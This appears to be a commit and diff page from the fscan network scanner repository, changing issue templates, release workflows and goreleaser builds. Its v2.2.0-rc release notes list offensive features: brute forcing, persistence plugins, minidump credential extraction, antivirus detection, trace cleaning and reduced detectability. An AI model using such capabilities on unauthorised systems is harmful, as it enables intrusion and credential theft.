6 Commits
Author SHA1 Message Date
DullJZ a66de1bff0 feat: tcp端口扫描支持socks5 (#527)
* feat: tcp端口扫描支持socks5

* feat: PG插件支持socks5

* feat: 完成大部分插件的socks5支持
2025-08-05 00:37:24 +08:00
ZacharyZcR 9b38dc0006 feat: 修复密码解析逻辑保留空密码
- 移除密码解析时对空密码的过滤逻辑
- 保留用户在命令行或文件中指定的空密码
- 确保空口令爆破功能正常工作
- 更新.gitignore排除开发工具目录
2025-08-05 00:36:38 +08:00
ZacharyZcR 0f491bc9d0 perf: 清理无用函数 2025-07-21 02:36:48 +08:00
ZacharyZcR a518e80185 perf: 清理无用函数 2025-07-21 02:25:56 +08:00
ZacharyZcR 1d6f411677 perf: 清理无用函数 2025-07-21 02:25:03 +08:00
ZacharyZcR 33f2b36186 perf: 清理无用函数 2025-07-21 02:24:28 +08:00
987 changed files with 25445 additions and 96561 deletions
-2
View File
@@ -1,2 +0,0 @@
# 统一换行符为 LF
* text=auto eol=lf
-123
View File
@@ -1,123 +0,0 @@
name: 🐛 Bug 报告
description: 报告扫描异常、崩溃或错误行为
title: "[Bug] "
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
- type: dropdown
id: module
attributes:
label: 问题模块
description: 问题出现在哪个功能模块?
options:
- 端口扫描 (Port Scan)
- 主机存活检测 (Host Discovery)
- 服务识别 (Service Detection)
- 弱口令爆破 (Brute Force)
- POC/漏洞扫描 (POC Scan)
- Web指纹识别 (Web Fingerprint)
- 代理功能 (Proxy)
- 输出/日志 (Output/Logging)
- 命令行参数 (CLI Arguments)
- 嵌入式 SDK (Embedded SDK)
- 其他 (Other)
validations:
required: true
- type: dropdown
id: severity
attributes:
label: 严重程度
options:
- 崩溃/Panic (Crash)
- 功能异常 (Malfunction)
- 结果不准确 (Inaccurate)
- 性能问题 (Performance)
- 其他 (Other)
validations:
required: true
- type: textarea
id: description
attributes:
label: 问题描述
description: 清晰描述遇到的问题,包括预期行为和实际行为
validations:
required: true
- type: textarea
id: reproduce
attributes:
label: 复现步骤
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: output
attributes:
label: 错误输出
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
render: shell
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0-rc (dev)
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: dropdown
id: os
attributes:
label: 操作系统
options:
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Ubuntu 24.04
- Ubuntu 22.04
- CentOS 7/8/Stream
- Debian 11/12
- Kali Linux
- macOS 15 (Sequoia)
- macOS 14 (Sonoma)
- 其他 Linux
- 其他
validations:
required: true
- type: dropdown
id: arch
attributes:
label: 系统架构
options:
- amd64 (x86_64)
- arm64 (aarch64)
- 386 (x86)
- arm
- mips/mipsle
validations:
required: true
- type: textarea
id: additional
attributes:
label: 补充信息
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
-10
View File
@@ -1,10 +0,0 @@
# Issue 模板配置
blank_issues_enabled: false
contact_links:
- name: 📖 使用文档 / README
url: https://github.com/shadow1ng/fscan/blob/main/README.md
about: 提交 Issue 前请先查阅文档,确认不是用法问题
- name: 💬 讨论区 / Discussions
url: https://github.com/shadow1ng/fscan/discussions
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
-111
View File
@@ -1,111 +0,0 @@
name: 🎯 误报/漏报
description: 报告扫描结果不准确的问题
title: "[Accuracy] "
labels: ["accuracy"]
body:
- type: markdown
attributes:
value: |
感谢您帮助提高 fscan 的准确性!
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
- type: dropdown
id: type
attributes:
label: 问题类型
options:
- 误报 (False Positive) - 报告了不存在的问题
- 漏报 (False Negative) - 未能检测到存在的问题
validations:
required: true
- type: dropdown
id: category
attributes:
label: 涉及功能
options:
- 主机存活检测
- 端口状态判断
- 服务识别
- 弱口令检测
- POC/漏洞检测
- Web指纹识别
- 其他
validations:
required: true
- type: textarea
id: command
attributes:
label: 使用的命令
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: fscan-output
attributes:
label: fscan 输出结果
description: 粘贴相关的扫描输出(请脱敏敏感信息)
render: shell
validations:
required: true
- type: textarea
id: actual
attributes:
label: 实际情况及验证方式
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
validations:
required: true
- type: dropdown
id: target-os
attributes:
label: 目标操作系统
options:
- Windows Server
- Windows Desktop
- Ubuntu/Debian
- CentOS/RHEL
- 其他 Linux
- 网络设备
- 容器/Docker
- 未知
validations:
required: true
- type: dropdown
id: network
attributes:
label: 网络环境
options:
- 直连(同网段)
- 跨网段/路由
- 通过代理 (SOCKS5/HTTP)
- VPN
validations:
required: true
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0-rc (dev)
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: 改进建议(可选)
description: 如果您有改进判断逻辑的想法
@@ -1,68 +0,0 @@
name: ✨ 功能请求
description: 提议新功能或改进现有功能
title: "[Feature] "
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的功能建议!请描述清楚使用场景和期望行为。
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
- type: dropdown
id: category
attributes:
label: 功能类别
options:
- 新扫描能力 (New Scan Capability)
- 性能优化 (Performance)
- 用户体验 (UX/CLI)
- 输出格式 (Output Format)
- 配置选项 (Configuration)
- 嵌入式 SDK (Embedded SDK)
- 集成/API (Integration/API)
- 其他 (Other)
validations:
required: true
- type: textarea
id: problem
attributes:
label: 解决什么问题?
description: 描述您的实际使用场景和痛点
validations:
required: true
- type: textarea
id: solution
attributes:
label: 期望的解决方案
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: 替代方案(可选)
description: 您目前的变通方法,或考虑过的其他方案
- type: dropdown
id: priority
attributes:
label: 优先级建议
description: 您认为这个功能的重要程度
options:
- 高 - 核心场景缺失,严重影响使用
- 中 - 明显改善体验
- 低 - 锦上添花
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个功能并提交 PR
-71
View File
@@ -1,71 +0,0 @@
name: 🔌 新插件/协议支持
description: 请求支持新的服务、协议或漏洞检测
title: "[Plugin] "
labels: ["plugin", "enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
- type: dropdown
id: type
attributes:
label: 请求类型
options:
- 新服务/协议支持 (New Service)
- 新弱口令检测 (New Brute Force)
- 新漏洞 POC (New POC)
- 新指纹识别 (New Fingerprint)
validations:
required: true
- type: input
id: service
attributes:
label: 服务/协议名称
description: 例如 ClickHouse、etcd、Consul、Zookeeper
validations:
required: true
- type: input
id: port
attributes:
label: 默认端口
description: 例如 9000、2379、8500
- type: textarea
id: description
attributes:
label: 服务描述与检测思路
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
validations:
required: true
- type: textarea
id: reference
attributes:
label: 参考资料(可选)
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
- type: dropdown
id: prevalence
attributes:
label: 内网常见程度
options:
- 非常常见(企业环境标配)
- 较为常见(经常遇到)
- 偶尔遇到
- 较少见但高价值
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个插件并提交 PR
- label: 我可以提供测试环境
-64
View File
@@ -1,64 +0,0 @@
# 发版流程
## 预检查
```bash
# 1. 确认 CI 通过
gh run list --branch dev --limit 3
# 2. 全平台 dry-run(手动触发 snapshot 模式)
gh workflow run release.yml -f snapshot=true
# 3. 确认版本号一致
grep "version" common/globals.go
grep "版本" README.md
```
## 发版
```bash
# 1. 确认 release notes 已就绪
cat .github/release-notes/v<VERSION>.md
# 2. 打 tag(在 dev 分支打 RC,在 main 分支打正式版)
git tag v<VERSION>
git push origin v<VERSION>
# CI 自动执行:
# - goreleaser 全平台构建 + UPX 压缩
# - 创建 GitHub ReleaseRC 自动标记 pre-release
# - 用 .github/release-notes/ 下的文件覆盖 release body
```
## 版本号规范
| 场景 | 格式 | 分支 | 示例 |
|------|------|------|------|
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
## Release Notes 模板
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
## 正式版发布(RC → 正式)
```bash
# 1. 合并 dev 到 main
git checkout main
git merge dev
git push
# 2. 更新版本号去掉 -rc
# common/globals.go, README.md, README_EN.md
# 3. 准备正式版 release notes
# .github/release-notes/v2.2.0.md
# 4. 打 tag
git tag v2.2.0
git push origin v2.2.0
```
-91
View File
@@ -1,91 +0,0 @@
name: '构建和发布'
description: 'fscan 可复用构建动作'
inputs:
mode:
description: '构建模式: release 或 snapshot'
required: true
default: 'snapshot'
go-version:
description: 'Go 版本'
required: false
default: '1.20'
retention-days:
description: '产物保留天数'
required: false
default: '7'
release-args:
description: '额外的 goreleaser 参数'
required: false
default: ''
runs:
using: 'composite'
steps:
- name: 设置 Go 环境
uses: actions/setup-go@v5
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
with:
go-version: ${{ inputs.go-version }}
cache: true
- name: 下载依赖
shell: bash
run: |
go mod download
go mod verify
- name: 安装 UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 使用 GoReleaser 构建
uses: goreleaser/goreleaser-action@v6
with:
distribution: goreleaser
version: latest
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
env:
GITHUB_TOKEN: ${{ github.token }}
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
- name: 上传产物
uses: actions/upload-artifact@v4
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
if: always()
with:
name: build-${{ inputs.mode }}-${{ github.run_id }}
path: dist/
retention-days: ${{ inputs.retention-days }}
- name: 生成报告
shell: bash
if: always()
run: |
cat >> $GITHUB_STEP_SUMMARY << EOF
# 构建报告
| 项目 | 值 |
|------|-----|
| 模式 | \`${{ inputs.mode }}\` |
| 版本 | \`${GITHUB_REF_NAME}\` |
| 提交 | \`${GITHUB_SHA:0:7}\` |
| Go | \`$(go version | awk '{print $3}')\` |
## 构建产物
$(if [ -d "dist" ]; then
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
else
echo "- 无产物"
fi)
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
EOF
+58 -177
View File
@@ -1,200 +1,85 @@
project_name: "fscan"
# 项目名称 - 直接使用环境变量
project_name: "{{ .Env.PROJECT_NAME }}"
# 构建前钩子
before:
hooks:
- go mod tidy
- go mod download
# 构建配置
builds:
# 标准版 - 全部插件(全架构)
- id: fscan
binary: fscan
main: .
- id: default
binary: "{{ .ProjectName }}"
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# 无本地插件版 - 排除本地模块(全架构)
- id: fscan-nolocal
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
tags: [no_local]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# WebUI版 - 主流平台即可
- id: fscan-web
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin]
goarch: [amd64, arm64, "386"]
goarm: ["7"]
goos:
- windows
- linux
- darwin
goarch:
- amd64
- arm64
- "386"
goarm:
- "7"
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: arm64
flags: [-trimpath]
tags: [web]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
flags:
- -trimpath
ldflags:
- -s -w
- -X main.version={{ .Version }}
- -X main.commit={{ .ShortCommit }}
- -X main.date={{ .Date }}
- -X main.builtBy=goreleaser
mod_timestamp: "{{ .CommitTimestamp }}"
# UPX 压缩
upx:
- ids: [fscan, fscan-nolocal, fscan-web]
- ids: [default]
enabled: true
goos: [windows, linux, freebsd]
goarch: [amd64, "386", arm, arm64, mips, mipsle]
goos: ["windows", "linux"]
goarch: ["amd64", "386"]
compress: best
brute: false
lzma: false
# 归档配置
archives:
# 标准版归档
- id: fscan
builds: [fscan]
- id: default
format: binary
allow_different_binary_count: true
name_template: >-
fscan_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# 无本地插件版归档
- id: fscan-nolocal
builds: [fscan-nolocal]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-nolocal_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# WebUI版归档
- id: fscan-web
builds: [fscan-web]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-web_{{ .Version }}_
{{ .ProjectName }}_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
{{- if eq .Os "windows" }}.exe{{ end }}
# 校验和
checksum:
name_template: 'checksums.txt'
algorithm: sha256
# 变更日志
changelog:
sort: asc
use: github
filters:
exclude:
- "^(docs|test|ci|chore):"
- "Merge (pull request|branch)"
- "^docs:"
- "^test:"
- "^ci:"
- "^chore:"
- "Merge pull request"
- "Merge branch"
groups:
- title: "🚀 新功能"
regexp: "^.*feat[(\\w)]*:+.*$"
@@ -202,9 +87,13 @@ changelog:
- title: "🐛 问题修复"
regexp: "^.*fix[(\\w)]*:+.*$"
order: 1
- title: "📚 文档更新"
regexp: "^.*docs[(\\w)]*:+.*$"
order: 2
- title: "🔧 其他改进"
order: 999
# 发布配置
release:
github:
owner: "{{ .Env.GITHUB_OWNER }}"
@@ -213,32 +102,24 @@ release:
prerelease: auto
mode: replace
header: |
## {{ .ProjectName }} {{ .Tag }}
感谢使用 {{ .ProjectName }}
### 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
### 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64, arm64 |
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
| Solaris | x64 |
## 🎉 {{ .ProjectName }} {{ .Tag }} 发布说明
感谢使用 {{ .ProjectName }}本次发布包含以下改进:
footer: |
## 📥 安装说明
下载对应平台的二进制文件即可使用。
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
---
如有问题请提交 [Issue](https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/issues) 💬
# 快照版本
snapshot:
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
# 元数据
metadata:
mod_timestamp: "{{ .CommitTimestamp }}"
mod_timestamp: "{{ .CommitTimestamp }}"
-106
View File
@@ -1,106 +0,0 @@
# fscan v2.2.0-rc
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
---
## 与 v2.1.3 的主要变更
### 🏗️ 架构升级:嵌入式 Scanner SDK
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
- 支持从其他 Go 程序直接调用 fscan 扫描能力
- 每个 Scanner 实例拥有独立的 config/state/session
- 支持多实例并发扫描,日志和结果完全隔离
- 全局状态已完整迁移到 session 实例
### 🚀 大规模扫描支持
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
### 🔌 新增协议插件(+9
| 插件 | 用途 |
|------|------|
| IMAP / POP3 | 邮件服务器检测 |
| JDWP | Java Debug 端口检测 |
| NFS / RMI | 文件共享 / Java 远程调用 |
| IPMI | 服务器带外管理 |
| SNMP (UDP) | 网络设备管理 |
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
全部为**原生协议实现**,零外部依赖。
### ⚡ 性能与体积优化
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
- 热路径零分配、自适应连接池 CAS 无锁化
- Scanner 客户端指纹收敛(降低被检测概率)
### 🌐 网络能力增强
- **SOCKS5 代理认证**支持(用户名/密码)
- **国密 TLS**SM2/SM3/SM4)网站扫描
- 支持 `-add-password` 追加多个自定义密码
### 🔧 本地后渗透插件
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask
- minidump 降级链凭据提取 + 杀软前置检测
- cleaner 清理所有持久化痕迹
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo
### 📦 工程改进
- 目录重命名:`WebScan/``webscan/``mylib/``libs/`
- i18n 覆盖扩展(中/英双语)
- 全量 lint/errcheck 修复
- 补充大量单元测试
---
## ⚠️ 已知问题 / 注意事项
| 问题 | 说明 |
|------|------|
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
---
## 反馈与贡献
这是一个 RC 版本,我们非常需要你的反馈:
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
---
## 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
## 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64 (Intel), arm64 (Apple Silicon) |
| FreeBSD | x64, x32, arm64, armv5/6/7 |
| Solaris | X64n |
-81
View File
@@ -1,81 +0,0 @@
name: Project 自动化
on:
issues:
types: [opened, closed, reopened]
env:
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
jobs:
# Issue/PR 创建时添加到 Project,状态设为"要搞"
add-to-project:
if: github.event.action == 'opened'
runs-on: ubuntu-latest
steps:
- name: Add to project
uses: actions/[email protected]
id: add
with:
project-url: ${{ env.PROJECT_URL }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Set status to 要搞
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.add.outputs.itemId }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id f75ad846
# Issue/PR 关闭时状态设为"搞定"
close-item:
if: github.event.action == 'closed'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 搞定
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 98236657
# Issue/PR 重新打开时状态设为"在搞"
reopen-item:
if: github.event.action == 'reopened'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 在搞
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 47fc9ee4
+266 -41
View File
@@ -1,4 +1,4 @@
name: 发布
name: 发布构建
on:
push:
@@ -6,67 +6,292 @@ on:
- 'v*'
workflow_dispatch:
inputs:
snapshot:
description: '仅测试构建(不发布)'
type: boolean
default: false
tag:
description: '发布标签'
required: true
default: 'v1.0.0'
draft:
description: '创建草稿发布'
type: boolean
default: false
prerelease:
description: '标记为预发布'
type: boolean
default: false
permissions:
contents: write
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
issues: write
pull-requests: write
jobs:
release:
goreleaser:
name: 构建和发布
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 60
# 设置作业级别的环境变量
env:
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
steps:
- name: 检出代码
- name: 📥 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: 准备 Release Notes
if: ${{ !inputs.snapshot }}
- name: 🔍 获取项目信息
id: project
run: |
TAG="${GITHUB_REF_NAME}"
NOTES_FILE=".github/release-notes/${TAG}.md"
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
if [ -f "$NOTES_FILE" ]; then
echo "📝 找到版本 Release Notes: $NOTES_FILE"
cp "$NOTES_FILE" /tmp/release-notes.md
else
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
echo "" > /tmp/release-notes.md
fi
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
- name: 构建和发布
uses: ./.github/actions/build-release
- name: 🐹 设置 Go 环境
uses: actions/setup-go@v5
with:
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
go-version: '1.20'
retention-days: '90'
release-args: ${{ inputs.draft && '--draft' || '' }}
cache: true
- name: 更新 Release Notes
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
env:
GH_TOKEN: ${{ github.token }}
- name: 📦 下载依赖
run: |
TAG="${GITHUB_REF_NAME}"
NOTES_FILE="${RELEASE_NOTES_FILE}"
go mod download
go mod verify
if [ -s "$NOTES_FILE" ]; then
echo "📝 更新 Release Notes..."
# 用版本特定的 notes 替换 goreleaser 生成的 body
gh release edit "$TAG" --notes-file "$NOTES_FILE"
echo "✅ Release Notes 已更新"
- name: 🗜️ 安装 UPX 压缩工具
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: ️ 显示构建环境信息
run: |
echo "Go 版本: $(go version)"
echo "UPX 版本: $(upx --version)"
echo "Git 标签: ${{ steps.project.outputs.version }}"
echo "提交: ${{ steps.project.outputs.short_sha }}"
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
echo "构建时间: ${{ steps.project.outputs.build_date }}"
echo "环境变量:"
echo "- GITHUB_OWNER: $GITHUB_OWNER"
echo "- GITHUB_REPO: $GITHUB_REPO"
echo "- PROJECT_NAME: $PROJECT_NAME"
- name: 📊 记录构建开始时间
id: build_start
run: |
echo "start_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
- name: 🚀 构建和发布
id: build_step
uses: goreleaser/goreleaser-action@v5
with:
distribution: goreleaser
version: latest
args: release --clean -f .github/conf/.goreleaser.yml ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_REPO: ${{ github.event.repository.name }}
GITHUB_OWNER: ${{ github.repository_owner }}
PROJECT_NAME: ${{ github.event.repository.name }}
continue-on-error: true
- name: 📊 记录构建结束时间
id: build_end
run: |
echo "end_time=$(date +%s)" >> $GITHUB_OUTPUT
echo "end_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
start_time=${{ steps.build_start.outputs.start_time }}
end_time=$(date +%s)
duration=$((end_time - start_time))
echo "duration=${duration}" >> $GITHUB_OUTPUT
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
- name: 📋 上传构建产物
uses: actions/upload-artifact@v4
if: always()
with:
name: 构建产物-${{ steps.project.outputs.version }}
path: |
dist/
retention-days: 30
continue-on-error: true
- name: 📊 统计构建产物
id: build_stats
run: |
if [ -d "dist" ]; then
total_files=$(find dist/ -type f | wc -l)
executable_files=$(find dist/ -type f -executable | wc -l)
